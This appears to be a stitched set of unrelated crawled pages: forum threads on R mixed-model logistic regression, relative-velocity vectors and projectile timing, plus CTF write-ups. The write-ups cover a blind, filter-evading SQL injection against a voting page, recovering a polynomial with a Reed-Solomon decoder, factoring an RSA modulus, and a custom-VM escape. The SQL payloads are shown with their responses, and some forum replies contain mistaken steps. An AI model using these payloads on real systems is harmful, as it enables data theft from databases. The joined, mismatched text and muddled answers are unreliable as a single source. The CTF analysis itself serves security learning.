fitted probabilities numerically 0 or 1 occurred 35: In mer_finalize(ans) : false convergence (8) 36: glm.fit: fitted probabilities numerically 0 or 1 occurred 37: In mer_finalize(ans) : false convergence (8) 38: glm.fit: fitted probabilities numerically 0 or 1 occurred 39: In mer_finalize(ans) : false convergence (8) 40: glm.fit: fitted probabilities numerically 0 or 1 occurred 41: glm.fit: fitted probabilities numerically 0 or 1 occurred 42: In mer_finalize(ans) : false convergence (8) 43: glm.fit: fitted probabilities numerically 0 or 1 occurred 44: glm.fit: fitted probabilities numerically 0 or 1 occurred 45: In mer_finalize(ans) : false convergence (8) 46: glm.fit: fitted probabilities numerically 0 or 1 occurred 47: In mer_finalize(ans) : false convergence (8) 48: In mer_finalize(ans) : false convergence (8) 49: glm.fit: fitted probabilities numerically 0 or 1 occurred 50: In mer_finalize(ans) : false convergence (8) Can you pretty please tell me what is the bug? I should add the same bootstrap syntax worked fine for fixed-effects (simple) binary logistic regression of mine, although it gave warnings similar to the warnings of this one. #### victorxstc ##### Pirate Re: Binary mixed-model logistic regression using lmer() of lme4 for multilevel analys Spunky, I ran a GEE model but it terminated with an error: Code: library(gee) GEE <- gee(DV ~ (Demo1 +Demo2 +Demo3 +Demo4 +Trt)^2, PatientID, MixedModelData4, family=binomial(logit)) error: Code: Beginning Cgee S-function, @(#) geeformula.q 4.13 98/01/27 running glm to get initial regression estimate ...All the coefficients for the variables and interactions in a simple GLM... Error in gee(DV ~ (Demo1 +Demo2 +Demo3 +Demo4 +Trt)^2, : Cgee: error: logistic model for probability has fitted value very close to 1. estimates diverging; iteration terminated. #### victorxstc ##### Pirate Re: Binary mixed-model logistic regression using lmer() of lme4 for multilevel analys Ok thanks to my dear friends (Jake and Henrik), I could finally and "hopefully" (if the destroyer of hope allows) do a bootstrapped mixed model binary logistic regression. The syntax is as follows: Code: library(afex) results5 <- mixed(DV ~ (Demo1+Demo2+Demo3 +Demo4 +Trt)^2 + (0 + Trt \| PatientID), family=binomial(logit), data = MixedModelData5, method = "PB", args.test = list(nsim = 2)) #### GretaGarbo ##### Human Re: Binary mixed-model logistic regression using lmer() of lme4 for multilevel analys Victor didn't supply a reproducible example so an other user on another site did that. (I just don't want to hide a cross posting discussion.) And I added (and deleted) a little: Code: library(lme4) # Look at an example ======================================= # Create some data set.seed(2708) wide.df <- data.frame(id=1:100 , Age=rnorm(100,40,10), trt1=rbinom(100,1,0.5), disease1=rbinom(100,1,0.5), disease2=rbinom(100,1,0.5) , Gender = sample(c(0,1), 100,replace=TRUE), Demo1 = sample(c(0,1), 100,replace=TRUE), Demo2 = sample(c(0,1), 100,replace=TRUE), Demo3 = sample(c(0,1), 100,replace=TRUE), ind.level = rnorm(100,mean=0,sd=1) ) wide.df$trt2 <- abs(wide.df$trt1 -1) # Restrucure for multilevel model long.df <- reshape(wide.df , varying=list(c("trt1","trt2"),c("disease1","disease2")), v.names=c("trt","disease"), times=1:2 , direction="long") #setting up expected values to simulate from, "p" in binomial distribuion long.df$p <- 1/(1+exp(-(-1+long.df$ind.level+0.5long.df$Gender+ 0.2long.df$Demo1+0.3long.df$Demo2+0.40long.df$Demo3+0.5*long.df$trt ))) hist(long.df$p) #OR ODDS RATIO: #exp(0.5) long.df$disease3 <- rbinom(200,1 ,long.df$p) table(long.df$disease3) # Reorder to look at long.df<-long.df[order(long.df$id) ,] long.df[1:10,] # long.df[1:20, c(1,2,3,10,11,12)] # estimates #my glmer version: 0.99999-0 (res1 <- glmer(disease3 ~ (Gender+Demo1+Demo2+Demo3+Age + trt) + (0 + trt \| id ), family=binomial(logit), data = long.df )) (res2 <- glmer(disease3 ~ (Gender+Demo1+Demo2+Demo3+Age + trt) +(1 \| id ) , family=binomial(logit), data = long.df )) (res3 <- glmer(disease3 ~ (Gender+Demo1+Demo2+Demo3+Age + trt) +(1 \| id )+ (0 + trt \| id ), family=binomial(logit), data = long.df )) (res4 <- glmer(disease3 ~ (Gender+Demo1+Demo2+Demo3+Age + trt) + (1 + trt \| id ), family=binomial(logit), data = long.df )) I got the impression that Victor preferred the res1 model. But I am not sure why. I guess that many would start with the res2 model. From the estimates I get the impression that the res3 is over parameterised, by having both a random intercept and a random slope. And res4 seems even more so. But it is interesting and instructive to see different models. #### victorxstc ##### Pirate Re: Binary mixed-model logistic regression using lmer() of lme4 for multilevel analys Thanks a lot dear Greta. This is just Awesome especially with your superb explanations. Btw, what does over parametrized mean? Is having both random slope and intercept something good? #### Jake Re: Binary mixed-model logistic regression using lmer() of lme4 for multilevel analys It is definitely not appropriate to go with the res1 model, which omits the random intercepts for subjects. When you estimate these effects there turns out to be a lot of variance in the random intercepts, so a model that ignores this variance (as res1 does) should not be used. I would go with res2 or res3 (assuming you can get stable estimates out of res3, which maybe you can't). #### GretaGarbo ##### Human Re: Binary mixed-model logistic regression using lmer() of lme4 for multilevel analys “Over parametrization” is when you try to estimate more parameters “than you have data for”. The model “res3” seems to be over parametrized. It's estimate come close to zero (with these data). Is there an easy way to get a parameter estimate for “p” for for example females and its confidence interval? Is there an easy way to get a parameter estimate for “p” for for example females and its confidence interval? Is this OK for a confidence interval? The point estimate: $$\hat{p} = \frac{1}{1+exp(-(\hat{\alpha}+\hat{\beta}1 ))}$$ where "1" indicates for females. And the confidence intervals given by: $$Low_{p} = \frac{1}{1+exp(-(\hat{\alpha}+\hat{\beta}1 -1.96\sqrt{stderr^2_\alpha +stderr^2_\beta+2cov(\hat{\alpha},\hat{\beta} } ))}$$ And the upper interval: $$Upper_{p} = \frac{1}{1+exp(-(\hat{\alpha}+\hat{\beta}1 +1.96\sqrt{stderr^2_\alpha +stderr^2_\beta+2cov(\hat{\alpha},\hat{\beta} } ))}$$ Where the covariance (cov()) is estimated from: $$cov(\hat{\alpha},\hat{\beta} )= stderr_\alpha stderr_\beta Corr(\hat{\alpha}, \hat{\beta})$$ Let's pretend that the large sample properties hold. Or is there any kind of "confint" command for this type of confidence interval?	{"extraction_info": {"found_math": true, "script_math_tex": 0, "script_math_asciimath": 0, "math_annotations": 0, "math_alttext": 0, "mathml": 0, "mathjax_tag": 0, "mathjax_inline_tex": 1, "mathjax_display_tex": 1, "mathjax_asciimath": 1, "img_math": 0, "codecogs_latex": 0, "wp_latex": 0, "mimetex.cgi": 0, "/images/math/codecogs": 0, "mathtex.cgi": 0, "katex": 0, "math-container": 0, "wp-katex-eq": 0, "align": 0, "equation": 0, "x-ck12": 0, "texerror": 0, "math_score": 0.6117842793464661, "perplexity": 7106.545186848556}, "config": {"markdown_headings": true, "markdown_code": true, "boilerplate_config": {"ratio_threshold": 0.18, "absolute_threshold": 10, "end_threshold": 15, "enable": true}, "remove_buttons": true, "remove_image_figures": true, "remove_link_clusters": true, "table_config": {"min_rows": 2, "min_cols": 3, "format": "plain"}, "remove_chinese": true, "remove_edit_buttons": true, "extract_latex": true}, "warc_path": "s3://commoncrawl/crawl-data/CC-MAIN-2022-21/segments/1652662527626.15/warc/CC-MAIN-20220519105247-20220519135247-00489.warc.gz"}
https://www.physicsforums.com/threads/velocity-vector.117213/	# Velocity Vector 1. Apr 11, 2006 ### danago Ok, ive got a question. Its probably something really stupid that im overlooking, but ill ask anyway. Say i have the question: if a plane is can travel 75 m/s north (75j i assume?) under normal conditions, what velocity will the pilot need to set if he is to travel directly north when there are winds of 21i+8j m/s blowing. Since i need to find the velocity which will make the plane travel at 75m/s north, 75j is therefore the resultant. If ai+bj is the velocity the pilot needs to set his engines at, i can say: 75j=ai+bj+21i+8j I then equate the components, to get: i 0=a+21 j 75=b+8 From that, i can solve for a and say that a=-21, and if i then substitute that into the equation: $$75^2=(-21)^2+b^2$$ solve for b and that gives me the velocity vector -21i+72j, which is the correct answer. What im wondering is, when i equated the components, i got two equations. When i used the first equation (0=a+21) and used the value of a to find the final vector, i get the correct answer, but when i used the value from solving b from 75=b+8, i get the wrong answer. Thanks, Dan. 2. Apr 11, 2006 ### HallsofIvy Staff Emeritus What was the exact wording of the question? You originally set it up so that the airplane's speed relative to the ground, taking into account both velocity relative to the air and air velocity, was 75 m/s due north. If that is the case then 21+ a= 0, 8+ b= 75, so the velocity relative to the air is -21i+ 67j, is correct. However, if the airplanes speed relative to the air is to be 75 m/s , Then we must have 21+ a= 0 (so that the velocity vector is due north) and a2+ b2= 752 (so that the airspeed is due north). Those are different problems. Is it the planes speed relative to the air or relative to the ground that is to be 75 m/s? 3. Apr 11, 2006 ### danago im a bit confused, but heres exacly word for word what the question asks: a helicopter can fly at 75m/s in still air. The pilot wishes to fly from airport A to a second airport B, 300km due north of A. If i is a unit vector due east, and j a unit vector due north, find the velocity vector that the pilot should set and the time the journey will take if there is a wind of 21i+8j blowing? 4. Apr 11, 2006 ### HallsofIvy Staff Emeritus I would interpret this as: the helicopter has a maximum airspeed of 75 m/s. Flying as fast as he can (i.e. at 75 m/s relative to the air) what velocity vector should the pilot take to go due north. There is no requirement that the actual "speed made good" (i.e. relative to the ground) be 75 m/s. In that case, in order to go due n, the helicopter must be angled so that the net "east-west" (i.e. j) component is 0. That's why, with velocity vector ai+ bj, you have b+ 8= 0 (NOT 21+ a= 0 as we both incorrectly said before). The requirement that the airspeed be 75 m/s gives a2+ b2= 752. 5. Apr 11, 2006 ### danago but with b+8=0, it gives a value of -8 for b. And according to the answers page, the answer is -21i+72j. 6. Apr 12, 2006 ### HallsofIvy Staff Emeritus Sorry, I got my "east and west" confused with my "north and south"! If his vector velocity, relative to the air is ai+ bj then his actual velocity relative to the ground is ai+ bj+ 21i+ 8j. That must have no x (east and west) component so we must have a+ 21= 0 and a= -21. NOW do what you were talking about before: a2+ b2= 752 to solve for b. That will give you -21i+ 72j. 7. Apr 12, 2006 ### danago im a bit lost when you say velocity relative to the air and ground. But today i went to a study session with my teacher, and from what she said, and what you said, i understand the question alot better now. Thanks alot for the help. Greatly appreciated. Dan. 8. Apr 13, 2006 ### HallsofIvy Staff Emeritus An airplane flies "on the wind". That is, it is supported by the air and necessarily goes wherever the air goes! Imagine a toy car moving on a table while you are carrying the table to the side. We can calculate the velocity of the car "relative to the table" but have to add to that the motion of the table itself "relative to the floor" in order to find the motion of the car "relative to the floor". 9. Apr 14, 2006 ### danago ohhhh i see now. Makes sense :) Thanks for that. Similar Discussions: Velocity Vector	{"extraction_info": {"found_math": true, "script_math_tex": 0, "script_math_asciimath": 0, "math_annotations": 0, "math_alttext": 0, "mathml": 0, "mathjax_tag": 0, "mathjax_inline_tex": 0, "mathjax_display_tex": 1, "mathjax_asciimath": 0, "img_math": 0, "codecogs_latex": 0, "wp_latex": 0, "mimetex.cgi": 0, "/images/math/codecogs": 0, "mathtex.cgi": 0, "katex": 0, "math-container": 0, "wp-katex-eq": 0, "align": 0, "equation": 0, "x-ck12": 0, "texerror": 0, "math_score": 0.9279814958572388, "perplexity": 1229.4162749724308}, "config": {"markdown_headings": true, "markdown_code": true, "boilerplate_config": {"ratio_threshold": 0.18, "absolute_threshold": 10, "end_threshold": 15, "enable": true}, "remove_buttons": true, "remove_image_figures": true, "remove_link_clusters": true, "table_config": {"min_rows": 2, "min_cols": 3, "format": "plain"}, "remove_chinese": true, "remove_edit_buttons": true, "extract_latex": true}, "warc_path": "s3://commoncrawl/crawl-data/CC-MAIN-2017-13/segments/1490218188924.7/warc/CC-MAIN-20170322212948-00267-ip-10-233-31-227.ec2.internal.warc.gz"}
http://nceax.co.nz/Y13/Y13%20Differentiation/Rates%201.html	Rates 1 Rates are an important application of calculus . This series of 10 questions provide practice in this. Question Number Actual Question Answer Right/Wrong 1 2 3 4 5 > 6 7 8 9 10	{"extraction_info": {"found_math": false, "script_math_tex": 0, "script_math_asciimath": 0, "math_annotations": 0, "math_alttext": 0, "mathml": 0, "mathjax_tag": 0, "mathjax_inline_tex": 0, "mathjax_display_tex": 0, "mathjax_asciimath": 0, "img_math": 0, "codecogs_latex": 0, "wp_latex": 0, "mimetex.cgi": 0, "/images/math/codecogs": 0, "mathtex.cgi": 0, "katex": 0, "math-container": 0, "wp-katex-eq": 0, "align": 0, "equation": 0, "x-ck12": 0, "texerror": 0, "math_score": 0.8424246311187744, "perplexity": 584.1890177106636}, "config": {"markdown_headings": true, "markdown_code": true, "boilerplate_config": {"ratio_threshold": 0.18, "absolute_threshold": 10, "end_threshold": 15, "enable": true}, "remove_buttons": true, "remove_image_figures": true, "remove_link_clusters": true, "table_config": {"min_rows": 2, "min_cols": 3, "format": "plain"}, "remove_chinese": true, "remove_edit_buttons": true, "extract_latex": true}, "warc_path": "s3://commoncrawl/crawl-data/CC-MAIN-2018-09/segments/1518891812913.37/warc/CC-MAIN-20180220070423-20180220090423-00407.warc.gz"}
http://mathhelpforum.com/calculus/81588-finding-time-takes-hit-ground.html	# Math Help - Finding the time it takes to hit the ground 1. ## Finding the time it takes to hit the ground The ball is tossed up in the air from a tower 50m above the ground. If the ball has an inital velocity of 30m/s, how long will it take to hit the ground if a = -9.8m/s^2. Now ive got my velocity function v = -10t +30, my height function h = -5t^2 +30t + 50, how can I find the total time? Thank You! 2. First let us see what in formation we have: s - Displacement - 50 metres u - Initial velocity - 30m/s v - Final velocity - N/A a - Acceleration - 9.8m/s t - Time - ? We will take all values as downward, that is why we have acceleration as a positive value. From the above information you should notice that we can use the following formula $s = ut + \frac{1}{2}at^2$ Subbing in our values gives us, $50 = 30t + 4.9t^2$ Which is just a normal quadratic. Hope this helps Craig 3. Originally Posted by Meeklo Braca $h = -4.9t^2 + 30t + 50$	{"extraction_info": {"found_math": true, "script_math_tex": 0, "script_math_asciimath": 0, "math_annotations": 0, "math_alttext": 0, "mathml": 0, "mathjax_tag": 0, "mathjax_inline_tex": 0, "mathjax_display_tex": 0, "mathjax_asciimath": 0, "img_math": 0, "codecogs_latex": 3, "wp_latex": 0, "mimetex.cgi": 0, "/images/math/codecogs": 0, "mathtex.cgi": 0, "katex": 0, "math-container": 0, "wp-katex-eq": 0, "align": 0, "equation": 0, "x-ck12": 0, "texerror": 0, "math_score": 0.8722030520439148, "perplexity": 990.8070578673087}, "config": {"markdown_headings": true, "markdown_code": true, "boilerplate_config": {"ratio_threshold": 0.18, "absolute_threshold": 10, "end_threshold": 15, "enable": true}, "remove_buttons": true, "remove_image_figures": true, "remove_link_clusters": true, "table_config": {"min_rows": 2, "min_cols": 3, "format": "plain"}, "remove_chinese": true, "remove_edit_buttons": true, "extract_latex": true}, "warc_path": "s3://commoncrawl/crawl-data/CC-MAIN-2015-32/segments/1438042990112.92/warc/CC-MAIN-20150728002310-00129-ip-10-236-191-2.ec2.internal.warc.gz"}
http://blog.redrocket.club/	• The challenge consisted of a webpage with four different animal emojis, clicking on one sent a vote for that animal. It was promised that results will be published at the end of the CTF. We are provided with the database schema which consists of two tables, one for all the votes and one containing the precious flag. Looking at the provided code we can easily spot an attack vector: ... $id =$_POST['id']; ... $res =$pdo->query("UPDATE vote SET count = count + 1 WHERE id = ${id}"); ... The only issue being that $id is filtered using a custom function: function is_valid($str) {$banword = [ // dangerous chars // " % ' * + / < = > \ _ ~ - "[\"%'+\\/<=>\\\\_~-]", // whitespace chars '\s', // dangerous functions '(in\|sub)str', '[lr]trim', 'like', 'glob', 'match', 'regexp', 'in', 'limit', 'order', 'union', 'join' ]; $regexp = '/' . implode('\|',$banword) . '/i'; if (preg_match($regexp,$str)) { return false; } return true; } So we are not allowed to use whitespace, no functions like char, like or substr that could help us compare strings and they even limited how we can query other tables by blocking union and join. After playing around with an sqlite shell for a few minutes it became clear that subqueries using something like SELECT(flag)FROM(flag) seemed to be working fine, now we need two things: • A way of actually getting a result back (no query results are returned) • A way of comparing the flag in the database with given values (since we are attacking it completely blind) Getting a result back was actually quite easy, we can just let sqlite try to interpret the flag as json. Since it has brackets and (hopefully) doesn’t follow correct json syntax that will result in an error which we can’t see but at least are told that something went wrong. Trying this out we crafted two queries: • (SELECT(JSON(flag))FROM(flag)WHERE(flag)IS(0)) This one succeeded as json(flag) is never executed • (SELECT(JSON(flag))FROM(flag)WHERE(flag)IS(flag)) This one fails as the flag is no valid json string Now we needed a way to actually get any information about the content… this is where most of the time got spent. Playing around with the shell a bit more we found that we can convert the flag into hex presentation and that sqlite is using weak typing. Trying out something like SELECT REPLACE("1234", 12, ""); results in 34. Taking the redacted flag from the given schema (HarekazeCTF{<redacted>}) and converting it into hex results in 486172656b617a654354467b3c72656461637465643e7d. We noticed that there are lot of parts with just digits and no letters 486172656 b 617 a 654354467 b 3 c 72656461637465643 e 7 d, and since we could replace numbers with anything we wanted to we would be able to basically reduce the length of the given hex-string by the number of matches of our replacement. First we tried to find the length of the flag, that was actually quite easy to do, just probing around with a simple query: • (SELECT(JSON(flag))FROM(flag)WHERE(LENGTH(flag))IS(36)) Thank you for your vote! • (SELECT(JSON(flag))FROM(flag)WHERE(LENGTH(flag))IS(37)) Thank you for your vote! • (SELECT(JSON(flag))FROM(flag)WHERE(LENGTH(flag))IS(38)) An error occured… So we know the flag is 38 characters long, or 76 hex characters. Next we probed around for the count of each digit in the hex-flag, here an example for the digit 4 (which was in there 7 times): • (SELECT(JSON(flag))FROM(flag)WHERE(LENGTH(REPLACE(HEX(flag),4,hex(null))))IS(76)) Thank you for your vote! • (SELECT(JSON(flag))FROM(flag)WHERE(LENGTH(REPLACE(HEX(flag),4,hex(null))))IS(70)) Thank you for your vote! • (SELECT(JSON(flag))FROM(flag)WHERE(LENGTH(REPLACE(HEX(flag),4,hex(null))))IS(69)) An error occured Using that information we now were able to piece together parts of the flag by trying number sequences instead of single digits, each time decreasing the length accordingly and adding a digit, if it was correct we’d get an error otherwise we were thanked for our patience. After getting into the flow this was actually done quite quickly in a few minutes by hand, resulting in the following sequence of numbers and 12 characters ([a-f]) left unknown: • 345 • 34316 • 34353733727 • 3137335 • 35716 • 37305 • 62335 • 486172656 • 617 • 654354467 • 5 • 6 We knew that the flag would start with HarekazeCTF{ so we quickly determined that 486172656 b 617 a 654354467 b is the start, already giving us the order for 3 of the numbers in the list. Since the flag ends with } (0x7d) we know that we’d need a number with a 7 at the end, which after sorting out the start could only be 34353733727. After that we had the following numbers left: • 345 • 34316 • 3137335 • 35716 • 37305 • 62335 • 5 • 6 Noticing that most of those numbers (excluding the last digit) resultet in valid ascii and most of them ended with a 5 and 0x5f being an underscore which is often used as a flag separator we quickly filled that in, leaving us only with 3 hex characters and all being prefixed with a 6. Since the flag seemed to be written in l33t-speak and m (0x6d) is one of the characters which is really hard to represent that way, so we picked that sequence to fill in the last gaps. At that point we had the following list: • 486172656B617A654354467B HarekazeCTF{ • 345F 4_ • 34316D 5F 41m_ (we moved the 5F from the end here since it fits the pattern of other parts) • 3137335F 173_ • 35716D 5qm • 37305F 70_ • 62335F b3_ • 5F _ • 6D m • 34353733727 4573r} Sorting that around we got something like HarekazeCTF{41m_70_b3_4_5qm173_m4573r}, and fixing one of our guesses replacing the m with an l resulted in the flag: HarekazeCTF{41m_70_b3_4_5ql173_m4573r}. • The following sage script was given: flag = "XXXXXXXXXXXXXXXXXXXXXXXXX" p = 257 k = len(flag) + 1 def prover(secret, beta=107, alpha=42): F = GF(p) FF.<x> = GF(p)[] r = FF.random_element(k - 1) masked = (r secret).mod(x^k + 1) y = [ masked(i) if randint(0, beta) >= alpha else for i in range(0, beta) ] return r.coeffs(), y sage: prover(flag) [141, 56, 14, 221, 102, 34, 216, 33, 204, 223, 194, 174, 179, 67, 226, 101, 79, 236, 214, 198, 129, 11, 52, 148, 180, 49] [138, 229, 245, 162, 184, 116, 195, 143, 68, 1, 94, 35, 73, 202, 113, 235, 46, 97, 100, 148, 191, 102, 60, 118, 230, 256, 9, 175, 203, 136, 232, 82, 242, 236, 37, 201, 37, 116, 149, 90, 240, 200, 100, 179, 154, 69, 243, 43, 186, 167, 94, 99, 158, 149, 218, 137, 87, 178, 187, 195, 59, 191, 194, 198, 247, 230, 110, 222, 117, 164, 218, 228, 242, 182, 165, 174, 149, 150, 120, 202, 94, 148, 206, 69, 12, 178, 239, 160, 7, 235, 153, 187, 251, 83, 213, 179, 242, 215, 83, 88, 1, 108, 32, 138, 180, 102, 34] It doesn’t work quite as given - prover() must be given a polynomial, not a string. I figured that this polynomial was probably just using the flag string as coefficients, and just tried to recover that secret polynomial first (under the assumption that it was of degree $k$). The r.coeffs() output has length $26$, so this means that $k=26$. Now the hard part was recovering the polynomial masked - if I knew that, I could just multiply by the multiplicative inverse of $r$ in the ring $GF(p)[x]/(x^k+1)$ (which fortunately exists). The known output y is obtained by evaluating masked at the positions $0,1,\ldots,106$ - however, with random chance of $\frac{42}{107}$, a random output modulo $p$ is chosen instead. I also know that masked is a polynomial of degree $k-1$ - so if I just knew $k$ correct points, I could simply construct the Lagrange Polynomial through these points. With the output containing errors I had two choices: • Guessing: If I just guess 26 points that had the correct output, I could recover the original polynomial. A quick calculation shows that this has about chance $2\cdot 10^{-6}$ of happening - and it is easy to detect, as some random polynomial through 26 of the points will match y in far less places than the correct one. Having now tried it after the CTF, it works very well. • Using someone elses work: My first instinct however was to search for a more elegant algorithm for the problem. In retrospect, just using brute force would probably have saved me some time - but this variant was at least quite educational. I knew that problems of the type “given a set of discrete equations, find a solution that satisfies a high number of them” were quite typical for Coding theory, so I started looking at well-known error-correcting codes. After a little reading, the Reed-Solomon Code jumped out to me - Wikipedia gives the codewords of a Reed-Solomon Code as $\{(p(a_1), p(a_2), \ldots, p(a_n))\mid p \text{ is a polynomial over } F \text{ of degree } k\}$. Setting $n=107, a_i=i-1, k=26, F=GF(p)$, this is exactly the kind of output we are dealing with. So now I just needed to decode the codeword given to me in y to one that lies in that Reed-Solomon Code. Fortunately, sage has builtin functions for everything: sage: p, k = 257, 26 sage: F = GF(p) sage: FF.<x> = F[] sage: from sage.coding.grs import * sage: C=GeneralizedReedSolomonCode([F(i) for i in range(107)],26) sage: D=GRSBerlekampWelchDecoder(C) sage: D.decode_to_message(vector(y,F)) DecodingError: Decoding failed because the number of errors exceeded the decoding radius 40 Whoops - it seems there are just a few errors too many in the output for the BerlekampWelchDecoder to handle. All the other decoders seemed to have the same problem… until I somehow managed to find the Guruswami-Sudan decoder. It conveniently takes a parameter tau that specifies (within limits) the number of errors it will be able correct: sage: from sage.coding.guruswami_sudan.gs_decoder import * sage: D=GRSGuruswamiSudanDecoder(C,45) 136x^25 + 181x^24 + 158x^23 + 233x^22 + 215x^21 + 95x^20 + 235x^19 + 76x^18 + 133x^17 + 199x^16 + 105x^15 + 46x^14 + 53x^13 + 123x^12 + 150x^11 + 28x^10 + 87x^9 + 122x^8 + 59x^7 + 177x^6 + 174x^5 + 200x^4 + 143x^3 + 77x^2 + 65x + 138 Finally it’s just a matter of multiplying by $r^{-1}$: sage: R = FF.quo(x^k+1) sage: "".join([chr(i) for i in flag]) # iterates over coefficients 'N0p3_th1s_15_n0T_R1ng_LpN\x00' ## Lessons learned • Coding theory has all kinds of useful stuff for “out of n relations, only k hold, but we don’t know which”-type situations • If a builtin function of sage isn’t quite good or general enough, there is probably a better one somewhere • Don’t waste time on elegant solutions if you can just guess • while True: p = next_prime(random.randint(0, 10500)) if len(str(p)) != 500: continue q = Integer(int(str(p)[250:] + str(p)[:250])) if q.is_prime(): break >> p q 6146024643941503757217715363256725297474582575057128830681803952150464985329239705861504172069973746764596350359462277397739134788481500502387716062571912861345331755396960400668616401300689786263797654804338789112750913548642482662809784602704174564885963722422299918304645125966515910080631257020529794610856299507980828520629245187681653190311198219403188372517508164871722474627810848320169613689716990022730088459821267951447201867517626158744944551445617408339432658443496118067189012595726036261168251749186085493288311314941584653172141498507582033165337666796171940245572657593635107816849481870784366174740265906662098222589242955869775789843661127411493630943226776741646463845546396213149027737171200372484413863565567390083316799725434855960709541328144058411807356607316377373917707720258565704707770352508576366053160404360862976120784192082599228536166245480722359263166146184992593735550019325337524138545418186493193366973466749752806880403086988489013389009843734224502284325825989 >> pow(m, 65537, p * q) 3572030904528013180691184031825875018560018830056027446538585108046374607199842488138228426133620939067295245642162497675548656988031367698701161407333098336631469820625758165691216722102954230039803062571915807926805842311530808555825502457067483266045370081698397234434007948071948000301674260889742505705689105049976374758307610890478956315615270346544731420764623411884522772647227485422185741972880247913540403503772495257290866993158120540920089734332219140638231258380844037266185237491107152677366121632644100162619601924591268704611229987050199163281293994502948372872259033482851597923104208041748275169138684724529347356731689014177146308752441720676090362823472528200449780703866597108548404590800249980122989260948630061847682889941399385098680402067366390334436739269305750501804725143228482932118740926602413362231953728010397307348540059759689560081517028515279382023371274623802620886821099991568528927696544505357451279263250695311793770159474896431625763008081110926072287874375257 If we write $p$ as: $p = 10^{250}x+y$ with $0\leq x,y<10^{250}$, then $q$ is obtained by swapping $x$ and $y$: $q = 10^{250}y+x$ This means that for $n=pq$ we have: $n = pq = (10^{250}x+y)(10^{250}y+x) =$ $=10^{500}xy + 10^{250}x^2 + 10^{250}y^2 + xy = (10^{500}+1)xy+10^{250}(x^2+y^2)$ But now $n \equiv 0xy + 10^{250}(x^2+y^2) \mod 10^{500}+1$ or $x^2+y^2 \equiv \frac{n}{10^{250}} \mod 10^{500}+1\,.$ As $10^{250}$ and $10^{500}+1$ are coprime, this is well-defined. In sage: sage: R=Zmod(10^500+1) sage: s = Integer(R(n)R(10^250)^-1) But on the other hand, as $x$ and $y$ are less than $10^{250}$, the sum of their squares must be less than $(10^{250})^2+(10^{250})^2=2\cdot 10^{500}$. As we already know the residue of $x^2+y^2$ mod $10^{500}+1$, this means that we only have two possibilities left: $s$ and $s+10^{500}+1$. It is possible to quite easily exclude the first one: $s$ is divisible by $3$ but not $9$, which would be in contradiction to the Sum of two squares theorem. Of course, one can also just try both values. This means that $x^2+y^2$ must be $s+10^{500}+1$. Using $n=(10^{500}+1)xy+10^{250}(x^2+y^2)$ we now have two equations for two variables. Those can be solved by substituting and solving the resulting biquadratic equation, or just using sage: sage: x,y=var("x,y") sage: solve([n==(10^500+1)xy+10^250(x^2+y^2),x^2+y^2==s+10^500+1],(x,y)) [[x == 6704087713997099865507815769768764401477034704508108261256143985284139367993820913412851771729239540206881848078387952673084087851136091482870695733338884807660355569782830813482768223955545908153884900037741101021721778447622913463893844919116113159, y == 9167577910876006891858257597237629440949705918335724259091862313200766026122707397405770653228405765712936180484223756343702067850288957263434298651591281476391443835610092615155677011406076889438184185284410734629391841138106293296764467469014716371], ...] (symmetric and negative solutions omitted). Now it’s just a matter of recovering $p$ and $q$ and deciphering: sage: p=10^250x+y sage: q=10^250y+x sage: pq==n True sage: d=ZZ.quo((p-1)(q-1))(65537)*-1 sage: m=int(pow(c,d,n)) sage: binascii.a2b_hex(hex(m)[2:-1]) 'midnight{w3ll_wh47_d0_y0u_kn0w_7h15_15_4c7u4lly_7h3_w0rld5_l0n6357_fl46_4nd_y0u_f0und_17_50_y0u_5h0uld_b3_pr0ud_0f_y0ur53lf_50_uhmm_60_pr1n7_7h15_0n_4_75h1r7_0r_50m37h1n6_4nd_4m4z3_7h3_p30pl3_4r0und_y0u}\x99\xd3\x84\x00\xdd\x98\xbf\xedv\xe8\|\xd3#\x01sR\x83\x9f\xce\x9fHg\xef\xfb\x07\x05\xc7\xd1R4\xbc\x9e\x9aW\x10\x0b5\xc0\xc0\xf9\xcc2dD\x00\xd5\x89\xfd2\xd2l\xe3N3\x8bU6}[\x92\xd5\xf5\x0fO\xde-\xf1\xb0\xbe\xaf\xc5\xcfM\xadyo\xd9\xbf\xff\xeci\xd5$\xf99\xde\xad\xaaP{\xfc\xf7\x91 o2\x99M\x9cE\xfe@,\xc0\x8d\x88wU\xb0\x82X\xa2;r\xeaq\x8eV\x05t\x94\xb8\x8c\xba\x90\xf5\xa8\xf9\x17$\x94\xf4:\x11\x9e\xfc\x0b]\x97\xbbMv9\x865f\$\x93r\xf65j\xc0jk\xf0\xab\xd5\t\xb3\xda\x17\xb0~\x05}\xc4@(\xa8\r\x16\x01V\xcdm\x901\x17\x18\xf3\xfd\xd6L\xa7\x13\|\xaa\x9d\x1e_\xb4%g/Q+\xff\xc1\xbe\xf1fB#g\xa8\xda\xdd4' • hfs-vm: Write a program in my crappy VM language. Service: nc hfs-vm-01.play.midnightsunctf.se 4096 hfs-vm2: Escape the VM to get a flag. Service: nc hfs-vm-01.play.midnightsunctf.se 4096 ## Analysis The provided service implements a VM for a custom architecture as well as a ‘kernel’ which the VM process uses to interact with the system. ### userspace and kernel The userspace and the kernel are implemented using two processes; the binary forks on startup and the parent becomes the kernel while the child executes the userspace. They communicate via both a socket pair and a shared memory region. The kernel process initially resets its stack canary, to get a canary different from that in the userspace process. The userspace process reads bytecode from the user and implements a simple VM to ‘execute’ the bytecode. Additionally, it enables the strict seccomp mode, which only allows the read, write and exit system calls. ‘system calls’ between the userspace process and the kernel process are implemented using the socket pair and shared memory mentioned above. To enter a system call, the userspace process sends the system call number and arguments over the socket, and reads the return value from the socket. The kernel process on the other hand reads from the socket, then executes the system call, and writes the return value back to the socket. This way, one of the two processes is always blocked reading. Large arguments or return values are passed via the shared memory region: the first two bytes of the region contain the size of the data, followed by the raw data. ### Custom VM As already mentioned above, the userspace process implements a simple VM for a custom architecture. The virtual 16-bit CPU has 16 registers, numbered 0 through 15, with register 14 and 15 doubling as the stack and instruction pointer. The stack has a fixed size of 32 words. Internally, the state of the VM is stored in the following struct on the stack of the userspace process: struct state_t { int fd; void shared_mem; uint16_t regs[14]; uint16_t reg_sp; uint16_t reg_pc; uint16_t stack[32]; }; The custom architecture executes bytecode with 4 byte long instructions encoding the instruction type and up to two operands. The following instructions are supported: • mov reg, imm, add reg, imm, sub reg, imm, xor reg, imm: move/add/subtract/xor the register reg with the 16-bit immediate value imm and store the result in reg • mov reg, reg, add reg, reg, sub reg, reg, xor reg, reg: move/add/subtract/xor the first register with the second register and store the result in the second register • xchg reg, reg: swap the contents of the two registers • push reg, push imm: push the register / immediate value onto the 